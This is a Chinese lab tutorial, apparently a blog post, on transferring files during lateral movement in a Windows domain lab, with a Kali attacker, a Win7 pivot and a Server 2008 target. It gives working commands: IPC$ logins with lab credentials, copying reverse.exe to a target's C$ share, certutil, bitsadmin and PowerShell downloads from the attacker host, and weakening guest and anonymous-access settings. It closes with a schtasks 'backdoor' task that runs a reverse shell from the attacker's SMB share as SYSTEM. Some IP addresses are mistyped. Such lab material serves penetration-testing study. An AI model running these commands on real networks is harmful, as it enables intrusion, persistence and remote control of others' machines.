文章目录
网络拓扑:
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f825a313015c468f9267482a128beac9.png#pic_center)
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138
一、通过网络共享
所谓的网络共享,也就是IPC连接,网络共享可以实现局域网之间的文件共享。
建立IPC连接的两个条件:
- 远程主机开启IPC连接;
- 远程主机开启139端口和445端口。
1、查看系统是否开启默认共享,是否开放139、445端口
net share # 查看网络共享是否开启
netstat -ano -p tcp # 查看端口开放情况,linux是-t指定具体协议
2、与远程主机建立IPC连接,需要知道远程主机的用户名和密码。
net use \\192.168.52.18\ipc$ hongrisec@2024. /user:god\liukaifeng01 # 建立IPC连接
# net use \\<ip>\ipc$ <possword> /user:<userrname>
net use # 查看已连接的网络共享
3、使用IPC连接进行shell传输。后续通过写计划任务,就可以让反弹shell执行,详情请参考内网横向——计划任务
copy reverse.exe \\192.1168.52.138\c$ # 上传文件
dir \\192.168.52.138\C$ # 查看目标主机C盘根目录
net time \\192.168.52.138 # 查看目标主机上的系统时间
4、查看远程主机上运行的进程
tasklist /S 192.168.52.138 /U god\admonistrator /P
5、通过IPC连接,读取目标主机上的文件内容
type \\192.168.52.138\c$\hacker.txt
二、通过windows自带工具
2.1 certutil
certutil
提供了从网络中下载文件的功能,可以从远程主机上执行certutil命令下载恶意文件。具体命令如下:
certutil -urlcache -split -f http://192.168.111.0:9999/test.php test.php # 下载到当前目录
2.2 BITSAdmin
Bitsadmin
是一个windows命令行工具,可以用于创建、下载或上传作业,监视其进度。win 7以后的版本自带Bitsadmin。相关命令如下:
# 创建一个名为test的Bitsadmin任务,下载tunnel.php到当前目录下
bitsadmin /transfer test http://192.168.111.0:9999/tunnel.php c:\tunel.php
这里只能用绝对路径。certutil
既可以用绝对路径,也可以用相对路径。
2.3 powershell
参考powershell远程加载执行的思路,可以通过创建Webclient
对象来实现文件下载。命令如下:
(New-Object Net.Webclient).DownloadFile('http://192.168.111.0:9999/tunnel.php','tunnel.php')
三、SMB服务传输文件
3.1 SMB基础
SMB
(Server Message Block,服务器消息块),又称CIFS(Common Internet File System,网络共享系统),基于应用层的网络传输协议,主要功能是使网络上的计算机能共享计算机文件、打印机、串行端口等资源。SMB消息一般使用NetBIOS协议或TCP发送,分别使用端口139
或445
端口,目前一般使用445端口。
在实际中,测试人员可以在所控内网主机上搭建SMB服务器,将需要横向传输的文件如攻击载荷等放入SMB服务器的共享目录,并指定UNC路径,让横向移动的目标主机能远程加载SMB共享文件。注意:需使用SMB匿名共享,并且搭建的SMB服务器能被目标访问到。
利用场景:开启支持匿名访问的文件共享后,其他用户不需要输入用户名和口令,可以直接访问文件服务器的共享文件。
参考:渗透技巧——通过命令行开启Windows系统的匿名访问共享
3.2 UNC路径
windows系统使用UNC路径来访问网络共享资源,格式如下:
\\servername\sharename\directory\filename
其中,servername
是主机名,sharename
是网络共享的名称,directory和filename分别为该共享下的目录和文件。
3.3 windows
3.3.1 手动搭建SMB匿名共享服务
这里使用域管理员用户进行操作,至于其他用户可不可行还得继续验证。
1、启用Guest用户
net user guest /active:yes
2、将Everyone权限应用于匿名用户。
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
3、指定匿名共享文件的位置
匿名共享文件位置,也从命令中看不到啊?
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f
4、将Guest用户从策略“拒绝从网络访问这台计算机”中移除。
导出组策略
secedit /export /cfg gp.inf /quiet
修改文件gp.inf
,将SeDenyNetworkLogonRight = Guest
修改为SeDenyNetworkLogonRight =
,保存。
重新导入组策略,会在桌面生成一个gp.sdb
的文件。
secedit /configure /db gp.sdb /cfg gp.inf /quiet
强制刷新组策略,立即生效(否则,重启后生效):
gpupdate/force
5、设置文件共享
icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full
可匿名访问的文件共享服务器开启成功。
6、在win server 2008中访问的地址为\\192.168.52.143
。
3.3.2 脚本搭建SMB匿名共享服务
powershell脚本:Invoke-BuildAnonymousSMBServer,需要本地管理员权限执行,已测试过windows系统:
- Windows 7
- Windows 8
- Windows 10
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
开启可匿名访问的文件共享服务器:
import-module .\Invoke-BuildAnonymousSMBServer.ps1
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable
关闭可匿名访问的文件共享服务器:
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable
3.4 linux
这里以kali为例,直接使用impacket-smbserver
包。如果使用smbserver.py
,需要注意python版本。
impacket-smbserver evilsmb /root/share -smb2support
win 7上可以直接通过UNC路径访问。
使用UNC路径给192.168.52.138写一个计划任务,加载192.168.111.0上的共享文件并执行。前提是:192.168.52.138能够访问到192.168.111.0。
schtasks /create /S 192.168.52.138 /tn backdoor /sc minute /mo 1 /tr \\1922.168.111.0\evilsmb\reverse.exe /ru system /f /U god\administrator /P hongrisec@2024.